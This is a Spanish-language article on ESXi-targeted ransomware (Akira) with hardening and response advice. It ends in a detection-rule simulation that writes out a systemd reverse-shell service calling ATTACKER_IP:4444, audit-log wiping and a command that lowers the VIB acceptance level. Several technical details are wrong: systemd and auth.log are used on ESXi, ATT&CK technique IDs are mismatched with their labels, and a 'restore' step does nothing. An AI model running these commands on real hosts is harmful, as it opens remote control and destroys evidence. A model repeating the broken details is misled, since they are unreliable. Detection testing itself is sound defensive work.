Ransomware dirigido a ESXi: Defensas prácticas de endurecimiento del hipervisor

Resumen

El artículo describe un cambio creciente en las operaciones de ransomware hacia plataformas de hipervisor como VMware ESXi para permitir la encriptación a gran escala de máquinas virtuales. Los adversarios dependen de credenciales administrativas robadas y utilidades de gestión nativas para eludir las defensas tradicionales de los endpoints. El principal grupo de amenazas examinado es el grupo de ransomware Akira. La discusión se centra en la importancia de un refuerzo sólido a nivel de hipervisor.

Investigación

Los datos de casos de Huntress de 2025 indican un fuerte aumento del ransomware enfocado en hipervisor, subiendo del 3% al 25% de los incidentes observados. Los investigadores documentaron el abuso de herramientas de gestión de Hyper-V y ESXi, la reutilización de credenciales a través de entornos y la explotación de CVE-2024-37085 para obtener control administrativo. El análisis señala que los atacantes frecuentemente habilitan SSH, desactivan el modo de bloqueo y alteran las políticas de aceptación de VIB antes de lanzar cargas útiles de ransomware.

Mitigación

Los pasos clave de mitigación incluyen hacer cumplir MFA, usar cuentas locales dedicadas de ESXi, segmentar y aislar las redes de gestión, implementar hosts bastión, aplicar el acceso de menor privilegio y habilitar VMkernel.Boot.execInstalledOnly. Las organizaciones también deben parchear vulnerabilidades conocidas como CVE-2024-37085 y deshabilitar servicios no esenciales como SLP para reducir la superficie de ataque del hipervisor.

Respuesta

Al detectar, las organizaciones deben transmitir los registros de ESXi a un SIEM, alertar sobre cambios de configuración sospechosos, aislar los hosts comprometidos e iniciar la recuperación desde copias de seguridad o instantáneas inmutables. Los procedimientos de respuesta a incidentes deben cubrir la adquisición forense de registros de autenticación, registros hostd y modificaciones de VIB, seguidos de una rápida restauración de las máquinas virtuales afectadas.

Ejecución de Simulación

Prerequisito: La verificación preliminar de telemetría y línea base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un mal diagnóstico.

• Narrativa de Ataque y Comandos:

  1. Acceso Inicial (T1563.001 – SSH):
     El atacante usa una credencial de root robada para abrir una sesión SSH con el host ESXi, generando un evento de ‘nuevo inicio de sesión de root’.

  2. Reforzamiento de Privilegios (T1553.004 – Cambio de Aceptación de VIB):
     Una vez conectado, el atacante reduce el nivel de aceptación de VIB para permitir la carga de módulos no firmados:

     esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"

  3. Persistencia a través de Habilitación de Servicios (T1569):
     El atacante crea un servicio systemd malicioso que lanza un shell inverso al iniciar, luego lo habilita:

     cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
     [Unit]
     Description=Shell Inverso Malicioso
     
     [Service]
     ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
     
     [Install]
     WantedBy=multi-user.target
     EOF
     
     systemctl daemon-reload
     systemctl enable malicious-revshell.service
     systemctl start malicious-revshell.service

  4. Evasión de Limpieza (T1070 / T1070.001):
     El atacante borra los registros de auditoría del host ESXi para ocultar la actividad, intentando evadir la detección:

     > /var/log/auth.log
     > /var/log/syslog

  5. Activación de la Regla:
     Para asegurar que la regla Sigma se dispare, el atacante también emite las cadenas de EventID literales usando la logger utilidad (emulan los eventos de ‘nuevo inicio de sesión de root’, ‘habilitación de servicios’ y ‘cambio de aceptación de VIB’ inseguros que la regla vigila).

• Script de Prueba de Regresión:

  #!/usr/bin/env bash
  #
  # Simula la telemetría exacta que espera la regla Sigma.
  # Este script se ejecuta en el host ESXi (o cualquier host Linux que reenvíe registros al SIEM).
  
  set -euo pipefail
  
  echo "[*] Simulando evento de inicio de sesión de root no autorizado"
  logger -p authpriv.notice "nuevo inicio de sesión de root"
  
  echo "[*] Simulando evento de habilitación de servicios"
  logger -p authpriv.notice "habilitación de servicios"
  
  echo "[*] Simulando evento de cambio de nivel de aceptación de VIB"
  logger -p authpriv.notice "cambio de aceptación de VIB"
  
  # Opcional: Realizar acciones maliciosas reales para validación más profunda (comentadas por seguridad)
  # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
  # systemctl enable malicious-revshell.service
  # systemctl start malicious-revshell.service
  
  echo "[+] Simulación completa. Verifique las alertas en el SIEM."

• Comandos de Limpieza:

  # Eliminar las entradas de log fabricadas (si el SIEM las retiene)
  logger -p authpriv.notice "limpieza: eliminando EventIDs de prueba"
  
  # Detener y deshabilitar el servicio malicioso (si fue realmente creado)
  systemctl stop malicious-revshell.service || true
  systemctl disable malicious-revshell.service || true
  rm -f /etc/systemd/system/malicious-revshell.service
  systemctl daemon-reload
  
  # Restaurar archivos de log originales (si fueron borrados)
  # Nota: En un entorno real, restaurarías desde una copia de seguridad.
  echo "[*] Archivos de log restaurados desde copia de seguridad (paso manual)."